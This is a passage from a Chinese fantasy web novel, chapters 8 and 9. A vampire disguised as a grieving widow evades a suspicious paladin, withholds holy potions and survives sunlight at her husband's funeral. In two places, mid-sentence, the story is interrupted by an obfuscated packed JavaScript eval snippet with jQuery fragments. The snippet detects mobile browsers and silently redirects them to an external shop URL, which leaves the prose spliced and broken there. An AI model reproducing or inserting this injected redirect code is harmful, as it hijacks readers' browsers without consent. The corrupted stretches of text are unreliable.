不过维格显然不在乎这一点,他长久地立在那儿,视线没从尸体上移开一寸,仿佛想要用目光将哥哥的面容描绘进脑海深处。
他垂下的眼睛隐没在阴影中,连身上圣洁的白色似乎都在这一刻暗淡了下去。
然而并不是所有人都因为哈维的死亡而感到真切的悲伤。
大半夜没睡的牧师被臭气熏的头晕脑胀,努力维持平静。可安东尼已经上了年纪,初秋的天里这屋子也没有点燃炉火。
寒意顺着脚底往上爬,头晕眼花的老牧师没站多久就开始左右摇摆,还时不时锤锤膝盖和小腿。
哦,可怜的老家伙。
莱尔一眼看出这位牧师恐怕拥有很严重的关节炎,瞧他过于宽大的手指关节和不断打晃的膝盖就能得出结论。
让这样一位老人大半夜陪着瞻仰死者遗容,堪称虐待。
果然,安东尼忍了半天,最终还没是没忍住地小声问,“大人,请问哈维医生有哪里不对劲吗?”
长久的静默后,维格才抬头看了他一眼,“尸体从没有移动过?”
“绝对没有,”牧师僵巴巴地摇头,“自从收到您的信件后,我就叮嘱了托马斯夫人绝对不要挪动尸体。您现在看到的,就是我们刚把托马斯先生送回来的样子。”
维格没有回答,他伸出手指按在尸体的额头,然后是眼部,颈部,接着一路缓慢下滑,最终停留在肚皮上。
他听见“噗呲噗呲“的奇怪水声。
黑暗中,莱尔也听见心脏“扑通扑通”的跳动声。
“这没什么奇怪的,大人,”牧师笑容勉强,“哈维医生是从河里打捞上来的,肚子里应该都是波米河的水,我….”
维格突然打断了他的话,“你确认,我哥哥是掉进河里淹死的么?”
一句话,黑暗中的莱尔浑身上下的汗毛全炸了起来。
她紧攥着刀,悄然靠得更近,整个人几乎贴在房间外的墙壁上,只留一只眼睛。
牧师张了张嘴,又低头看了看尸体,“大人….我不明白您的意思。您瞧哈维医生的双眼里的淤血,指甲缝隙中的河沙,鼻腔里的淤泥,包括尸体冒出的瘢痕,这些特征全部符合溺亡之人。”
安东尼所指向的位置,正是莱尔曾伪装过的地方。
维格深深看了一眼何其无辜的老牧师。
虽然安东尼说的没错,但他是个圣骑士长,是玫瑰十字军的圣骑士长。
他和这些呆在安全城里的牧师不一样,他上过战场,在战场上呆了超过8个圣年的时间。
他见过很多死人,淹死的,烧死的,炸死的,失血过多而死的。
经验让他在检查哥哥的尸体时发现了一点不对劲。
虽然尸体的眼睛、指甲和脚,以及头发鼻孔都和溺毙很像,但还是有一点点不对劲。
只有一点点,那就是声音。
虽然和胀满河水的声音很像,但用力按压时,哥哥的肚皮下并不是水流移时顺滑的声音。相反,那种音调更黏腻、更胶着。
更像…..腐烂后的沼泽。
屋内的烛火不安的来回抖动着,忽明忽暗的光线将圣骑士的脸割成晦暗不明的颜色。
门后躲藏的吸血鬼在看见维格的眼神时心底就是狠狠一沉,诡异的直觉告诉她,维格绝对已经发现了什么。
但是出乎意料的是,在恐怖漫长的几秒死寂过后,圣骑士居然把手收了回去。
“是的,你说的没错,安东尼,或许只是我想多了而已。”
莱尔:?
这家伙搞什么?他明明应该发现了不对劲的地方。为什么——
突然,莱尔瞥见了维格看向安东尼的眼神,她脑子里瞬间劈过一道闪电。
哦豁。
维格才刚刚从前线回来就面对了哥哥的死亡,他压根儿不信任眼前年迈的牧师!
这个敏锐如鬣狗的家伙想要自己找出真相!
但真是抱歉。
黑暗中,吸血鬼握紧刀把,缓慢的,悄无声息的往后退去。
道森已经死亡,尸体上所有证据全被破坏。在痕迹检查、监控录像完全为零的现在,就算维格亲手把自己的哥哥解剖了,距离找到真凶还有一大截的路程。
如果这种时候自认聪明的圣骑士将怀疑的目光对准每个人,这段路程更是会呈指数倍增长。
那么,成功退回二楼黑暗里的莱尔无声弯起嘴角——
我就可以成功逍遥法外啦。
8. 第 8 章
此时距离葬礼还剩不到四个小时,混沌的黑夜已经缓慢退去,变成一种闷沉的灰。
安东尼连续不断的哈欠声终于压不住了,沉静的一层响起一连串的轻微抽气以及脚步挪动的声音。
莱尔立刻意识到,那是维格的声音,他似乎正在逐一检查着什么,自己不能再继续假装没听见了。
一个刚失去丈夫的女人,一个和丈夫的尸体共处一室的女人,是无法在夜里睡的很安稳的,一点微小的声音都会引起她们的警觉。
并且最重要的,不能让维格查下去——道森还在地下室。
为了更贴合人设,新生的吸血鬼抬手拨乱了自己的头发,又发狠揉了好几下眼眶,将刀藏回腰间。然后拿起墙边的拖把,装作刚被吵醒的样子,战战兢兢走下楼梯。
期间她“不小心”弄出咯吱咯吱的响声,紧张的呼吸声也跟着放大。
于是,在她还未完全走到一楼之前,那扇门先一步被推开。
漆黑一片中,蓝宝石似的眼睛凝望向她,低低的声音如果湖水泛开涟漪,“莱尔?”
“咚!”
拖把被吓掉了,莱尔扶着扶手激情演绎惊惧交加的语气和表情,“维、维格?怎么是你?你回来了?”
火光摇曳着驱散黑暗,圣骑士长捡起拖把。
“是我,”他说,“我才刚刚抵达,抱歉,我并非有意把你吵醒,我只是想第一时间看看他。”
莱尔摇摇头,手软脚软地走下楼,苦笑道,“不是你的错….只是我…我…..已经没有好好睡过一个安稳的觉了….”
恰到好处的悲情神态,柔弱无辜的目光——在很久很久以前,莱尔还小的时候,面对那些假装微笑,实则满心满眼都是对父母赔偿金的贪婪的亲戚们,莱尔就是这样表演的。
她对此得心应手,连眼角眉梢都带着深深的伤心。
安东尼的神情顿时变得非常同情。
可维格蓝眼睛里的锋利并没有软下来,他示意牧师点起更多蜡烛,随后让开一步,让看上去柔弱苍白的女人走进来。
但莱尔没有动。
她站在那里,整个人萎靡困顿,脸色白的吓人不说,眼底的青黑似乎昭示了她最近所承受的巨大痛苦。
“我不想…..”她眼眶通红,鼻音浓重,“抱歉,我已经看了太多太多次,我真的无法再呆在那间屋里了…..”
“喔….托马斯夫人…..”牧师善良地搬来一把椅子让莱尔坐下,又给她端了杯水,“一切都会过去的,夫人,还请您不要太过伤心。”
“谢谢您….”莱尔接过水杯,“希望我们….我的哈维没有给您疼痛的关节造成更多伤害。”
安东尼一愣,随后目光更加温和,“哈维医生和您说了?哦是的,我的骨头总是在阴冷天里遭受很多,尤其在秋冬。不过这比起您遭受的痛苦来说,完全不算什么。谢谢您的关心。”
维格冷冷地看着,在莱尔强扯开一个笑容时忽然出声询问,“莱尔,那天究竟是怎么回事?”
这是一句试探。
莱尔非常清楚,维格在试探她和牧师说的是否能对得上。
“那天他说过他会晚些回来…..”女人捂住面孔,声音绝望崩溃,“我知道他是去喝酒….可我没想到….没想到他居然喝完后会那么不小心…..我的爱….波米河水是多么、多么冷啊….”
维格:“哥哥最近很喜欢喝酒?”
莱尔:“他一直都是如此,只要不是在工作,他总喜欢捧着酒瓶。你只要打开储藏室,就能看见他究竟喝了多少。”
维格上下打量着她,“你似乎对哥哥很有感情。”
莱尔双手抓紧裙角,痛苦地回望,“你在说什么?他是我的毕生所爱。”
“那么,哥哥出事的那一晚你在哪里?如果他喜欢在家喝酒,如果你们感情很好,那晚他又为什么要自己单独前往酒馆?”
不行,不能继续让他问下去。
必须把谈话节奏拿回来,如果不掌握主动权,很快缺少记忆的自己的就会滑入维格的陷阱。
于是莱尔做出难以置信的表情。
“你….怀疑我?!”她捂着胸口大口喘气,“那天晚上我就在这里!我就在这里,等他回家!因为那一晚哈维刚刚做完一台灌肠手术!别说喝酒吃东西,连停留在房间里都相当困难!”
“所以当时我留下来打扫房间,让哈维出去透透气,顺便放松一下被气味折磨的神经!而你…你居然怀疑我吗?我和哈维结婚已经三个圣年了!”
莱尔流着泪把脸埋进掌心,拼命回忆着曾看过的哈维的记录本,确认自己瞎编的故事合情合理,“我当时就应该陪他一起去,冰冷的多米河应该把我们两人共同埋葬!”
“喔不….托马斯夫人,维格大人他绝对不是那个意思。”安东尼牧师连忙上前安慰,能看得出来,他对这位柔弱善良的夫人很有好感。
然而维格却并没有因为一两句质问而动摇,他近乎漠然地看着悲痛的女人,“那天晚上做灌肠手术的是谁?”
“巴罗,巴罗·史蒂芬。”莱尔狠狠瞪了回去,“你现在就可以去查!”
维格点点头,反手从法袍内翻出一只由白纸做的鸽子。
他垂眸在在鸽子翅膀上写了什么,走到窗边手一松,那只纸鸽瞬间震动翅膀飞了起来。
脸仍然埋在掌心、余光却将这一幕精准捕捉的莱尔:!
纸鸽能飞?这个世界真的没有魔法么?
她很想问,可又不能问。于是房间里陷入一片寂静,只有维格举着蜡烛缓慢在房间里走来走去,查看窗棱,检视厨房,亦步亦趋,仔仔细细,像是一条敏锐警惕的西伯利亚猎犬,靠着自己的嗅觉逐渐靠近掩盖地下室的圆形编织毛毯。
莱尔捂着脸,冰冷的目光从指缝里漏出来,计算着她和维格之间的距离,在心里演练着她要如何操作才能在最快的时间内干掉屋里所有人类。
正当她瞄准地上的拖布把时,那只体型娇小的鸽子终于飞了回来。
维格踩着地毯冲了过来。
这次莱尔看的清清楚楚,那确实是一只白纸折出的鸽子,折得甚至非常随意,有些边角甚至没有对整齐。
然而就是这样一张平平无奇的白纸上,竟然写满了密密麻麻的奇异文字——就和备修道院墙壁上所篆刻的一模一样。
是祷文。
祷文和圣言使得一张白纸也能飞上天空。
难道….. 文字是有力量的?
肩膀耸动,时不时啜泣两声的血族目光冰凉地注视着维格拆开纸鸽,快速扫过上面的内容,随后扭头朝自己望来。
“巴罗·史蒂芬确实在那一晚接受了灌肠手术。他也说确实是你留下来清扫灌肠之后的卫生,哥哥他则独自出门离开。”
一层也没有任何奇怪的地方,维格观察着莱尔所以细微的表情,也没有发现任何不对劲。他想了想,将圣鸽收了起来,“很抱歉,莱尔。”
莱尔缓缓松开捂脸的手,哀伤地摇摇头,将一枚绿茶演了个十成十。
“我不怪你…..毕竟不只是我一个人失去了我的爱….维格,”她怆然地望向那双蓝眼睛,“你有多久没有好好睡过觉了?”
一句话,圣骑士霎时像被谁抽了一巴掌。
他倏然握紧了泛着微光的袖口,那里藏着另一只早已失去活力的圣鸽——哥哥在不久之前给他寄过去的圣鸽,上面只记了两句话:
[维格,不知道是不是我的错觉,我总觉得最近我周围好像有点不对劲。抱歉,我不是有意打扰你,但我实在紧张….]
当时维格并没有把这件事放在心上,地狱烈火无时无刻都在燃烧,前线始终潜藏着黑暗的眼睛。可就在他受到圣鸽没多久后,哥哥就死去了。
指骨因为用力而变成青白色,圣骑士长移开目光,冷冷吐出几个字,“这和你无关。”
莱尔呆呆地凝望着他,这下连老牧师也忍不住摇了摇头。
这些打仗的大人们哪里都好,就是某些时候太过冷硬!
刚失去丈夫的托马斯夫人已经够可怜了,圣骑士长居然还审问她!
一个长时间和疾病作斗争的病弱女人,怎么有能力和丈夫的死产生关联呢?托马斯夫人看起来连沉木桶都拎不动。
亏的夫人还好心好意安慰他!
维格发现了牧师的神情,他蓝色的瞳孔最终还是从莱尔身上移开了,“牧师,时间不早了。”
这是一句婉转的提醒,提醒他们两人该离开了。
窗外已经响起鸟儿鸣叫的声音,证明距离天亮不远了。
如果被人发现有两名男子在刚失去丈夫的女人家里呆了一整夜,那么不出三天,流言蜚语就能杀死任何一个拥有自尊的女人。
安东尼长长呼出一口气,压下差点翘起的嘴角,迅速做出一副悲天悯人的表情,“确实,葬礼还需要准备很多东西。托马斯夫人,还请您节哀,无论生死,皆由圣父所定。”牧师和善地道,“哈维医生只是回归了圣父的怀抱,我们所有人都将如此。”
莱尔眨了眨眼,她比牧师更加用力的压下心中涌起的欢呼雀跃,低垂下头,“谢谢您,牧师,那么我就不送您….”
“哦不不,托马斯夫人,”牧师下压了一下手掌,“在离开之前,我们还有一件必须达成的的事情没有做呢。请允许我再次为哈维医生的意外里来而感到抱歉,可根据律法,哈维医生亡故后,必须归还他所持有的圣药剂——全部数量的圣药剂。”
莱尔脸上的笑容僵硬了。
再抬头时,她已经换上了恰到好处的茫然,“您说什么?”
“就是小修道院赐予哈维医生的圣药剂,”安东尼和蔼地拿出一张羊皮卷轴,“根据小修道院的记录,哈维医生手中至少还保管着一瓶伤口清洗水,两瓶降温水,以及一瓶安眠汤剂。最后这一项恐怕是为您准备的,不过很抱歉,那不是市面上能随随便便流通的东西,我们必须将它们带回它们真正的归属地,直至下一位有资格的医生再次申请使用它们。”
维格沉静地站在牧师身后,四双眼睛直勾勾落在莱尔身上。
吸血鬼当然知道牧师指的是什么东西,今天更早一些的时候她才亲自把那几个水晶瓶找出来。
她只是震惊。
偌大的修道院,怎么能抠抠搜搜到这种地步?!人前脚刚死,后脚就登门要把福利收回去?
她要还吗?
当然不!
东西都已经在她手里了,她从来不会将已经揣兜的东西拿出来让给别人。她不去抢别人的都算她善良。
于是,仅仅不到一个呼吸的时间,眼睛红红的女人紧张地攥着手帕站了起来。
“非常、非常抱歉,牧师先生,”她带着哭腔说,“哈维离开的太突然,他并没有来得及向我留下那些珍贵药剂的存放地点。如此昂贵的东西从来都是他一个人拿取的,我、我没有时间、也没有机会去弄清它们的位置…..”
“什么?”没有料到的回答让牧师愣了一下,随后迅速皱起了眉头,语气也激动了起来,“可是托马斯夫人,圣药剂有多么重要你是知道的,那是不能流传出去的东西,只有获得小修道院颁发的行医资格证的人才可以申领。所以看在圣父的份儿上,今晚我必须……”
“噢…..对、对不起…..”女人似乎被吓到了,将脸深深埋进手帕,哀戚的哭声如同鬼魅幽灵,“等、等葬礼结束,我一定好好寻找….可以吗?”
毕竟看看她之前表现出的伤心模样,此时此刻绝对不能说出“我要重开诊所”这种话,那简直是在朝警惕的维格手里送作案动机。
再等一等,等葬礼结束,最大的危机一过,她完全可以借用老牧师的关节炎开展自己的治疗手段。这样更加顺理成章。
老牧师面部抽搐,如果是别人,他就直接命令守城军进来搜家了。
可偏偏这个家身后还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081184|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站着圣骑士长维格!那可是在前线率领玫瑰十字军和地狱烈火战斗的猛人啊!
血与火构成了他法袍上的红色玫瑰,他的祷言能摧毁一切生物,包括光明阵营的那些!
“安东尼。”就在这时,维格忽然拍了一下老牧师的肩膀,“现在已经很晚了,事发突然,能否给她一点时间?”
冰湖一样的蓝色瞳孔很快让安东尼败下阵来。
“好吧,好吧,尊敬的圣骑士长的大人。”老牧师擦了擦额头的汗,“最后三天,只有三天,我只能拖到这个时候。如果那时夫人还拿不出来,那她就只能自己去小修道院解释了。您了解那些圣药剂被管控得有多么严格,尤其是现在还有该死的走私贩子猖狂活动的现在。”
似乎是担心吓到柔弱的女人,最后一句话牧师说的又轻又低,可敏锐的吸血鬼还是清清楚楚听见了,
走私。
原来药剂也是有走私的。
悲痛的抽噎之下,吸血鬼灰色的瞳孔内划过一道精光。
很快,安东尼离开了房子,维格深深看了莱尔一眼,也转身走出去。
随着房门关闭,莱尔脸上的茫然与紧张瞬间消失。她面无表情地站在那里,取出身上的刀放下。
“果然维格的一句话,比我哭死都有用。”
想起药剂订购单上维格作为推荐人的签名,吸血鬼明白想要达成目的,获得圣骑士长的站队是绝对必要的。
只要她能撑过葬礼,维格对她的警惕自然而然就会消散。
只要她能撑过去。
确认两人彻底离开后,莱尔打起了十二万分的精神开始为即将到来的葬礼做准备。
她没有多余的血液用来实验,只能尽可能的多带。
她选了一条宽松的肥版黑色长裙,灯笼袖丑得像轮胎,但足以遮挡全部。
每一根小玻璃瓶都装满血液,莱尔尝了一口,有点酸,不过个人面板上增加的数值还是让人愉悦。
莱尔清除掉无可抑制的逃跑冲动,将所有小玻璃瓶全都绑好。
然后她站在镜子前,举起伞,不断练习拿瓶子——喝血——藏起瓶子这一动作。
整整三个半圣时。
窗外,稀薄的晨雾弥漫开来,将细碎的晨光轻柔包裹。
马蹄声混杂着鸟雀的叽叽喳喳缓慢在后门门口停止,莱尔整理好覆盖大半面容的黑色蕾丝圆帽,掌心全是汗。
“我可以的,”她呢喃着,试图从中吸取力量,“我会活下来,无论付出什么。”
“夫人?”车夫的声音响起,莱尔轻轻抖了抖,随后对着镜子里的自己微微一笑,眼底迅速积聚起一往无前的坚定。
“我来了。”
她提起蕾丝伞,几步走过去,推开房门。
后门外的小巷和之前一样阴暗压抑,阳光统统被挡在遥远的地方。
车夫向她弯腰,“日安,夫人,愿圣父庇佑您的康健与平安。”
莱尔的视线短暂停在车夫的胸口,那里戴着一个绿色扁圆形叶子的植物装饰,和她在周围店铺上看到的一样。
之前车夫身上并没有这种东西。
店铺外也会挂,路人身上也有,所以并不是葬礼必须。
车夫察觉到她的目光,立刻恭敬地解下来双手递上去,“夫人,这是浸泡过圣水的马鞭草,对所有黑暗种族都有刺伤的功效。善良的牧师会派发给每个人,这是属于您的。”
莱尔望着湿露露的叶片,浅浅弯了弯嘴角,“快好好戴回去吧,神圣的圣水能够庇佑所有子民。我当然也不例外,只是先后问题,并没什么重要的。现在,让我们出发吧,我不想让哈维等太长时间。”
说完,她垂着眼登上马车。
车夫细心替她关好车门,满眼感动。
多么善良温柔的夫人啊!圣父保佑,他希望能为托马斯家奉献终生!
远方的天际线上,太阳正以一种缓慢却不可违抗的姿态向上攀爬着。
雾气缭绕,磨坊森林比想象中的更加热闹。
作为从平民走出来的医生,哈维帮过不少人,所以在苍凉的墓地外面站了很多默默哭泣的人。
这些人一直从墓地里延伸到备修道院外的街道上,层层叠叠,密密麻麻,每个人眼眶都是红红的,他们真切的悲伤着,为逝去的医生感到惋惜。
但就像安东尼说的那样,这是一场由贵族牵头举办的葬礼,身上连一块宝石都没有佩戴的人甚至不被允许进入森林大门。
莱尔望向墓地更深处,看见了疲惫的安东尼牧师正在负责引领人群,身几个穿长袍的孩子帮忙搬运花朵和十字架奠布;
维格换掉了那身昂贵圣洁的纯白法袍,只穿了绣着鸢尾花的黑白素袍。他被一群装束奢华的人围着,脸上带着疏离冷漠的表情。
然而那些贵族似乎并不在意,尤其是年岁正好的小姐们,她们用镶满华丽碎钻的羽毛折扇轻掩下巴,目光流转,向维格低声表述着自己的悲伤,由此希望圣骑士长璀璨的蓝眼睛能停留在自己身上。
当然也有人用纤细的手臂撑起了漂亮的遮阳伞。只是或许因为时间太早,或许因为阳光不太刺眼,撑伞的人非常稀少,零星只有一两把圆形伞面散落在地上,如同盛放的波兰斯菊。
莱尔摩挲了一下伞柄,感觉手指脚趾紧绷得几乎要痉挛抽搐。
行驶的马车吱呀呀停在森林边缘,上面篆刻的鸢尾花让所有人纷纷侧目。
“是托马斯夫人来了。”
一时间,声音全都静了下去。
所有人屏息凝神地望向马车。
车外阳光大盛。
莱尔清楚听见车夫停下马车,踩着脚蹬从前排跳下来。衣料摩擦过木制车身,距离自己越来越近,越来越近。
攥着伞柄的手青筋都绷了出来,胃部仿佛被塞了条浸湿的毛巾。
“夫人——”车夫将手搭在门把上,缓缓拉开车门。
“请下车。”
9. 第 9 章
事情永远不会因为人的恐惧而停止发生。
忠实的车夫搓了搓手,随后将车门一把拉开。
下一秒,灿烂的阳光如同华丽的海啸般汹涌而落。
那一瞬间,莱尔只觉得整个人被丢进了沸水锅中,即使她用最迅猛的速度将伞撑开至头顶,可也只挡住一部分阳光。
剩下一小部分的高温蛮横挤进狭小空间,嘶吼着泼洒在血族的脸上!
莱尔立刻就感受到了蚀骨的疼痛,脸部在灼烧,细密的薄烟从焦熟的肉上溢散,每一滴流下的血液都会立刻被阳光烧成黑灰。
她差点控制不住尖叫出声!
怎么这么疼!!像被真的架在火上烤!
瞳孔中只有她能看见的蓝紫色光幕上体贴呈现出血条值,那数字正以一种跳楼的速度疯狂减少。
“喔…..”莱尔哀泣一声,弓着脊背,借着遮阳伞的遮挡,迅速从掌心拿出一个小玻璃瓶倒入口中。
不,一个根本不够!
莱尔肝胆俱裂地迅速掏出第二个、第三个。
她必须撑过这两百米!
“圣父啊….”车夫摘掉帽子,悲伤地安慰着新鲜出炉的寡妇夫人,“夫人,您还请节哀,哈维医生一定也不愿意看到您现在如此伤心的样子的!”
“可怜的女人。”不远处的人们听见车夫的话,看见佝偻着颤抖着前行的女人,纷纷露出怜悯的目光,“可怜的托马斯夫人,她以后可怎么办啊?”
维格目光一顿。
五十米。
整张脸都像被撕开一样疼,她的手几乎要拿不住遮阳伞了,血条像坐过山车,灯笼袖下的绑带眨眼间就几乎空了一半。
一百米。
花香混合着人类汗液的味道简直逼得血族发狂,饱腹值已经满格,可脸上的皮已经灼伤愈合再灼伤三十八次了!
莱尔眼前发黑,脑子仿佛被斧头凿开。为了保持清醒维持步伐,她甚至咬掉了唇齿内的一块肉!
一百五十米。
要不把这些人全杀了吧,有人在和她说话,还有多远,食尸鬼在哪里?莱尔捂住眼睛,思绪被疼痛带的飞上云端又坠落地狱,她只觉得自己的眼球好像爆开了。
“维格,”安东尼牧师担忧地走过来,“你应该走过去扶住她,她简直要哭得背过气去了。感人的爱情,我从没见过如此深爱丈夫的女人。”
“现在的她应该并不想搭上任何人的手。”维格向前几步,目光钉在不断晃动且越压越低的黑伞上。刚刚他看得很清楚,有一名善良的贵妇想要上前帮个忙,可是却被无情地忽略过去。
那绝对是一种伤心到极致才会出现的情绪波动,维格在战场上看到过很多次。甚至十几年前,他也曾在父母双亡时亲身体会过。
没想到…..她居然对哥哥用情至此。
维格回忆起和哥哥为数不多的通信,哥哥言辞之中确实简单描绘过他们两人的爱情。
[莱尔小姐非常体贴,常常会熬夜为我烹制温暖的茶壶肉汤和甜热麦酒,即使这令她白日昏昏欲睡,可她依旧乐此不疲,只为让我拥有一个健康的身体以及充沛的精神。]
[我确信她爱我,就如同我爱她。我们的爱情远比白栀子花更为圣洁纯粹,希望这种美好也能降临在你身上。维格,我同样希望你可以幸福。]
那是一种即使身处血肉横飞的战场,维格依然能感受到的温和爱意。
可是,他之前并相信哥哥的判断。哥哥的突然死亡和寄来的信件让他对所有人全都失去了信任。
维格昨夜根本没有睡觉,始终在探查着哈维身边人的信息,尤其是关系最亲近的莱尔的过往。
体弱多病,鲜少出门,但却对每个人都很和善,几乎包揽了哥哥治疗后的所有清扫工作。
很多曾光顾过哥哥诊所的人都表示过,有时放出的血液腥臭黏腻,可莱尔从不曾抱怨一句。
她任劳任怨,即使满身血污,也会对哈维露出如沐春风的笑。
而且她没有父母和兄弟姐妹,她的所有生活全都维系在哥哥一个人身上。哥哥死亡之后,她等于失去了一切收入来源,可能连最基本的生活也无法保证。
所以,圣骑士望着那颤抖的遮阳伞谨慎思考着,她没有动机。
哥哥死的当晚,好几个邻居们也都确信她没有离开过家。
那么,她应当是无辜的,只是一个失去庇佑的可怜人罢了。
二百米。
莱尔几乎像从水里刚捞出来,薄薄的手套下全是汗水。灼烧的脸部飞速愈合,她的发型变得湿滑打结,圆礼帽早已歪得不成样子。
莱尔哆嗦着干掉左小臂最后一瓶血液,脚步不停,目光阴狠地看着终于变成暗色的地面。
她到了。
成功穿过了晨光熹微的二百米花园,在众目睽睽之下。
她成功了,她活了!
哈,莱尔简直想把拳头塞进嘴里大声欢呼!!
但是不行。
强大的驱动力驱使着她速度不变继续向前,如果在此时停下就会引起怀疑,她不能停下。
心脏狂躁悸动间,她打开游戏光幕想让自己冷静下来。
摇摇欲坠的血条值很好的充当了这一角色,那一行数值犹如行将就木的老人,缓慢且费力地爬上38就不再动了。
这不是一个安稳的数值,甚至没有抚平脸上的伤口。
莱尔借着冷汗整理礼帽和发型,剧痛中摸到额头依旧残留着一块灼伤。
不过还好伤口藏在头发里,被礼帽遮挡,从外侧应该很难看出来。
她诅咒该死的老天要是敢吹起微风她就咬死这里的每个人。
“莱尔,”此时一道低而清晰的声音在她身侧响起,比脸先出现的是一双漆黑的长靴,“我们已经到了,可以停下来了。”
莱尔身形一顿,她堂而皇之用遮阳伞遮蔽着自己的上半身,快速用手帕仔细擦干净脸,然后才慢慢抬起伞,露出空洞茫然的眼睛,“什么?”
因为太用力擦过,她的脸变得比冬天的雪更加白,眼下焦灼的青黑几乎凝成实质的墨汁。
没有一位体面的夫人会任由自己如此形象出现在人前,除非她已经悲痛到无暇顾及。
维格深深看了她两眼,然后伸手握住伞柄上端,稍稍用力就将遮阳伞取了下来收好。
“我们已经到了,莱尔,一切都将结束,你可以停下来了。”
在他身后,大片大片的树木延伸出去。被刻意改造过的树冠遮天蔽日,共同交织出的厚重阴影构成浓郁舒爽的薄毯,托举着一场告别仪式正式开始。
这一次,维格没有像个审判官一样面对莱尔。
他就站在莱尔身侧一步远的地方,分出一半的注意力给了这个女人,随时提防她会因为哀伤而就地晕过去。
毕竟盘好的发髻已经哭到彻底散落开来,维格认为,这已经是极致的悲痛了。
当然,也正因为那长而浓密的卷发,所以圣骑士长自然也没有发现藏在头发下方,那对牢牢将耳廓塞满的布塞。
为了确保隔音效果,莱尔特意拆了一条冬天的羊毛裙。
现在别说圣骑士长在她耳边说话,或者安东尼牧师诵念祷言了。就算这两人把圣父拉下来跳丢手绢,她也听不见一个字。
很快,葬礼开始了。
“…..慈爱的圣父,求祢的灵此刻亲自安慰托马斯一家人的心,包裹他们的悲伤。直到我们在祢荣耀的国度中再次相见。”
安东尼高举双手,所有人齐齐在胸前虚画十字,“奉主圣父的名祷告,愿哈维·托马斯美好的影响长存。”
参加葬礼者大多数都是医生的病人,一小部分是冲着维格来的贵族。
他们每个人都虔诚无比,高声合诵着追葬祷文,滑动的手臂像肉色浪潮。
唯有两个人没有动。
莱尔盯着地面,放空大脑,拼命不让一丝一毫声音漏进耳朵。
而维格站在她身侧落后一点的位置,动起来的只有那双过于冰蓝的瞳孔。
他严肃认真地打量着每一位前来的宾客,试图将他们的脸和自己调查到的信息对比起来。
那是他吩咐手下搜集来的信息,哥哥生前最后一段时光的信息。
可是没什么不对的地方,没什么不对劲的人,也没什么不对劲的事。哥哥就像往常那样去麋鹿酒馆喝了几杯,随后离开。
一切就像一场真正的意外。
但是…..树荫之下,圣骑士用力捏紧手腕,指骨绷成青白色,他为什么总能听见哥哥的尸体在哀鸣?
葬礼仍在进行,虽然奔波一整晚,可安东尼牧师依旧发挥稳定,说哭了不少人。
他还非常贴心的将处于168号的墓地的托马斯夫妇一同迁至哈维·托马斯身边。
“无论生死,我们都将与最重要的家人在一起。”
莱尔看着墓碑上的名字和年纪,垂下眼睛。
原来哈维的双亲早已死在十几年前了,这简直是个意外情报。
也就是说,她接下来只要面对马上就要奔赴前线的“弟弟”就行了?
想到这,她忍不住移动视线,微微偏头向后看了一眼。
维格低垂着眉眼,盯着凿下去的墓碑面色阴沉。
-
葬礼比想象中进行的还要顺利,到最后莱尔彻底放空脑子,摆出一副心如死灰的模样。
这很好的替她挡住了那些试图上前攀谈的人们。
毕竟莱尔现在模样和生了重病马上一命呜呼也差不了太多,稍微懂一些人情世故的家伙都不会选择靠近。
不过这其实也正中许多人的下怀。
毕竟和一位体弱多病的、失去名医丈夫庇佑的寡妇相比,另一个年轻且地位崇高的圣骑士长更加让人向往。
于是前来参加葬礼的贵族们如同闻到腐烂尸体的食尸鬼一般,眨眼之间就将维格团团围住。即使圣骑士长的回应冷淡的如同极地之夜,他们也依旧乐此不疲。
被晾在一旁的莱尔很高兴,她趁机摘掉了耳朵里的棉花,听见许多人正热情向维格介绍自己尊贵的姓氏。
大部分维格都只是简单点头,只有在安东尼牧师引见了一位优雅男士时,维格才第一次做出了回应。
“感谢彭格列子爵为我哥哥所做的一切。”
不仅是维格,在瞧见那位优雅男士时,周围的贵族们顿时响起一阵阵惊呼。
“天呐!彭格列先生,连您都来了吗?”
“当然,”被唤作彭格列的男人笑着向众人点头,他柔软的银灰色头发低垂着,气质典雅含蓄,“哈维医生做出过许多善举,他的医术让很多人都获得了新生。所以我愿意代替哥哥来到这儿,为哈维医生举办一个微小的告别宴会,以缅怀这样一位优秀的人。地点就在备修道院内,希望各位都可以赏脸参加。”
虽然话是面向所有人说的,可他翠绿色的眼睛始终盯着维格。
可惜的是,冰山一样的圣骑士长并没有任何回应,倒是周围的人如雀鸟般叽叽喳喳起来。
“彭格列先生组织的宴会我们一定会去的,您真的太客气了!”
“就是不知道彭格列子爵他…..”
听见这话,那位彭格列先生的笑容淡了一些。他收回留在维格身上的目光,“很抱歉各位,哥哥有事实在走不开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081185|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,所以今日无法到场。”
原来是子爵的弟弟,怪不得会有这样众星捧月的待遇。
莱尔记下那张脸,又悄无声息向人群后退了退。
现在所有人的注意力都被子爵的弟弟和圣骑士长吸引,她要做的就是保持现状。
如果眼前的场景能一直持续下去,那么她一定可以顺顺当当度过葬礼,到时候所有人都不会对她产生怀疑,她穿越而来第一个危机就可以轻松解决。
不过事情往往不会按照人们所希望的那样发展。
“托马斯夫人…..”一道焦急匆忙的声音忽然响起,莱尔循声看过去,和一双看起来比她还要疲惫的眼睛对上视线。
